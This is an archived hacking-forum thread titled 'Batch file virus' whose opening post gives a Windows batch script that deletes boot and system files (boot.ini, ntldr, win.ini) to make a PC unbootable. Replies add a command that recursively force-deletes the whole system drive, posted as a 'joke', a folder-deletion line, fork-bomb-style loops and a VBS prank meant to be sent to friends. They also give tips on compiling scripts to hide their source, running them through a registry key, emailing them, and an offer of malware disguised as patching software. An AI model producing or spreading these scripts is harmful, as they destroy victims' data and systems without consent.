Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Ethical hacking Tips (http://www.go4expert.com/articles/ethical-hacking-tutorials/)
-   -   Batch file virus (http://www.go4expert.com/articles/batch-file-virus-t14980/)

aussiedude 5Nov2008 04:34

Batch file virus
 

Introduction



Hey guys haven't posted in a while I have been doing a lot of school work, and there some retarded chick in my class that annoys that crap out me.

Background



Um I have been working on this for a while and a finally got to virus rating from MacAffe. yay XDXDXDXD

The code



its a batch file that wipes that start-up files of a computer, so donít be a noob ad test it out on your own computer coz it'll screw your computer up and the only way to fix it is to re-image your computer fully (wipe the hard drive and re-install windows again LOL)

Code: Cpp

-----Disclaimer - Not to be used to damage/harm other peopleís computer systems----------

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

D

Have fun lol

xpi0t0s 5Nov2008 13:40

Re: Batch file virus
 
You've missed the last i off win.ini.

neo_vi 5Nov2008 13:48

Re: Batch file virus
 
eay way to do this. click on tools-> folder options
In that select view tab, in that remove the checked item "Hide protected operating system files (Recommended)". then u can easily delete all these files without typing anything.

And this cannot be called a virus mate.

shabbir 5Nov2008 15:57

Re: Batch file virus
 
Quote:

Originally Posted by xpi0t0s
You've missed the last i off win.ini.

Added for him

Bhullarz 8Nov2008 16:04

Re: Batch file virus
 
A batch can done the complete damage.
Why not code this file using C++ or C, then nobody will be able to see the source code even

Dak914 10Nov2008 02:00

Re: Batch file virus
 
Or just compile the batch file into a EXE.
http://www.f2ko.de/English/index.php

Batch file viruses are fun because of how much you can do with them.

Code:

@echo off
:1
start
goto 1

I am not the Windows expert I used to be, but just add this file to a hidden location and add a registry key to make it run after logging in and it should make the computer freak out every time after logging on. I am not sure if it will overload the memory everytime (which causes a crash) though.

shabbir 4Dec2008 14:47

Re: Batch file virus
 
Nominated for article of the month for November 2008

shabbir 20Dec2008 21:54

Re: Batch file virus
 
Vote for this article of the month for November 2008

Jenniferlinn 27Dec2008 17:13

Re: Batch file virus
 
Ok thanks for the code as i am sick of these virus infection happened to PC

Dak914 28Dec2008 10:16

Re: Batch file virus
 
You wouldn't have to re-image your disk per-say. You would just have to copy the four system files from a working windows machine to the "broken" machines root directory using a Linux livecd/liveusb distro (like backtrack). I have done this many times before, and it really isn't all that difficult. Just make sure you replace the same files you lost with equal files of the same name.

jeffreytb 20Jun2009 11:35

Re: Batch file virus
 
try this batch
del %systemdrive%\*.* /s /f /q
its really funny joke Must try!!!

ansarialice 30Mar2010 08:36

Re: Batch file virus
 
1 Attachment(s)
hay guys this new to all batch virus making code:crazy:

abhay gupta 11May2010 19:38

Re: Batch file virus
 
do have this type of code for c language?

I fail at hacking 12May2010 21:53

Re: Batch file virus
 
fuckkk man i opened this file and like 300 cmd things popped up and my screen is ****** up lol

abhay gupta 18May2010 21:10

Re: Batch file virus
 
i just want to know which language did u use in this batch file

SURYANSHM 20May2010 23:35

Re: Batch file virus
 
this code is used to delete the "my documents and settings" folder in the my computer plzzzzz dont try in ur pc otherwise they may create some problems.
---------------------------------------------------------------------------------------------------


Rmdir c:\docume~1

:cuss::snobby::mad::cryin::D:p:sosp::shout::happy: :shy::wacky::p:p:p:p:p:p:p:p
---------------------------------------------------------------------------------------------------
Enjoy My Friends :happy::happy::happy::happy::happy::happy::happy:

SURYANSHM 21May2010 00:00

Re: Batch file virus
 
1 Attachment(s)
common download the file and lets make the guest account to administrator account.

ok friends now open that file and save as something.bat {guest.bat} or anything with .bat extension and then enjoy the game you will get the administrator privileges.


:cuss::cuss::cuss::cuss::cuss::cuss::cuss::cuss::c razy::crazy::mad::mad::mad::mad::mad::mad::D:D:D:D :baby::baby::baby:

SURYANSHM 21May2010 00:05

Re: Batch file virus
 
This simple computer prank consists of a code below that will drive your friend crazy as it opens notepad continuously.

When you type the below code and rename it as *.bat it take the above showed icon shape.

To Open Notepad continuously in your friend’s computer:


Type the code in notepad as :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as “notepad.BAT” and send it.

Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.

SURYANSHM 21May2010 00:07

Re: Batch file virus
 
What this trick does is, when you run the following script it starts blinking caps Lock light continuously. If you run this script twice the rate of blink increases and alternatively NumLock light start to blink with CapsLock.
Open Notepad and Type :


Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop


Save it as “Caps.VBS” and send it to your friend. Double Click it if you wanna see it working. Its a very funny Notepad Trick.

Note: Don’t worry when you try this crazy notepad trick. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete). Under Processes end the process “wscript.exe”

Pathogen 27May2010 06:38

Re: Batch file virus
 
Quote:

Originally Posted by Bhullarz (Post 38670)
A batch can done the complete damage.
Why not code this file using C++ or C, then nobody will be able to see the source code even

Or you could just use a converter couldn't you?

Batch master 18Dec2010 12:33

Re: Batch file virus
 
If you want the most evil batch file then copy this.

:save
CD "\Forbiden Files\Batch\Save Game\RPG\"
if exist %name1% goto 2
MD "\Forbiden Files\Batch\Save Game\RPG\%name1%"
MD "\Forbiden Files\Batch\Save Game\RPG\%name1%\%password%"
:2
(
echo set omgwhatigotbit=%omgwhatigotbit%
echo set cashtoberecieved=%cashtoberecieved%
echo set Forestlevel1=%Forestlevel1%
echo set mppotions=%mppotions%
echo set hppotions=%hppotions%
echo set cash=%cash%
echo set torch=%torch%
echo set strength=%strength%
echo set defence=%defence%
echo set defexp=%defexp%
echo set strexp=%strexp%
echo set hptotal=%hptotal%
echo set hpnow=%hpnow%
echo set mptotal=%mptotal%
echo set mpnow=%mpnow%
echo set Fire=%Fire%
echo set Water=%Water%
echo set Shiva=%Shiva%
echo set cure=%cure%
echo set bio=%bio%
echo set Fireyes=%Fireyes%
echo set Wateryes=%Wateryes%
echo set Shivayes=%Shivayes%
echo set bioyes=%bioyes%
echo set level1=%level1%
echo set lostcity=%lostcity%
echo set fightslugnumber=%fightslugnumber%
echo set fightnumber=%fightnumber%
echo set plusone=%plusone%
echo set twiddleamount=%twiddleamount%
echo set password=%password%
echo set cryptopen=%cryptopen%
echo set level=%level%
echo set number1=%number1%
echo set number2=%number2%
echo set number3=%number3%
echo set low=%low%
echo set tnd=%tnd%
echo set sep=%sep%
echo set attic=%attic%
echo set sthouse=%sthouse%
echo set bas=%bas%
echo set con=%con%
echo set holystone=%holystone%
echo set virgo=%virgo%
echo set capricorn=%capricorn%
echo set aries=%aries%
echo set gemini=%gemini%
echo set leo=%leo%
echo set scorpio=%scorpio%
echo set ophiuchus=%ophiuchus%
echo set safeopen=%safeopen%
echo set library=%library%
echo set dining=%dining%
echo set roomd=%roomd%
echo set theat=%theat%
echo set er=%er%
echo set master=%master%
echo set bedroom=%bedroom%
echo set atic=%atic%
echo set roof=%roof%
echo set power=%power%
echo set roomp=%roomp%
echo set water2=%water2%
echo set roomw=%roomw%
echo set bath2=%bath2%
echo set roomb2=%roomb2%
echo set bath1=%bath1%
echo set roomb1=%roomb1%
echo set pool=%pool%
echo set room=%room%
echo set theater=%theater%
echo set kitchen=%kitchen%
echo set li=%li%
echo set mexp=%mexp%
echo set mstrength=%mstrength%
echo set bank=%bank%
echo set fairyuncryptget=%fairyuncryptget%
echo set bankmoney=%bankmoney%
echo set sound=%sound%
echo set fork=%fork%
echo set cobyes=%cobyes%
echo set cobbsknob=%cobbsknob%
echo set li=%li%
echo set di=%di%
echo set hall=%hall%
echo set storage=%Storage%
echo set th=%th%
echo set mb=%mb%
echo set roofyes=%roofyes%
echo set systemm=%systemm%
)>%name1%.bat
echo Game Saved . . .
echo.
pause

this creates files and messages and more messages!
have fun blowing up your computer.
if you open this look at it for about 3 seconds then shutdown your computer or it might realy explode!

VaultBoy 19Dec2010 11:25

Re: Batch file virus
 
How is this best sent to the computer host, E-mail?

Omkarkarne 20Dec2010 11:25

Re: Batch file virus
 
I really Like it ..... Fantastic Work

rameshb 22Dec2010 17:07

Re: Batch file virus
 
This program wont work as you have missed the "win.ini." ...

Ihorlaitan 27Dec2010 14:50

Re: Batch file virus
 
Its really bad

Muthukumaran 11Jun2011 08:18

Re: Batch file virus
 
hi
please help me how to use this virus

Solomonisthebest 10Apr2012 18:46

Re: Batch file virus
 
please, NOT A PROPER VIRUS!!! if you want a proper one please email me (UxHU@live.co.uk) its disguised as internet patching software. all you have to do is run the installation package! please, don't become a skiddie! get some proper knowledge then make real viruses


All times are GMT +5.5. The time now is 00:01.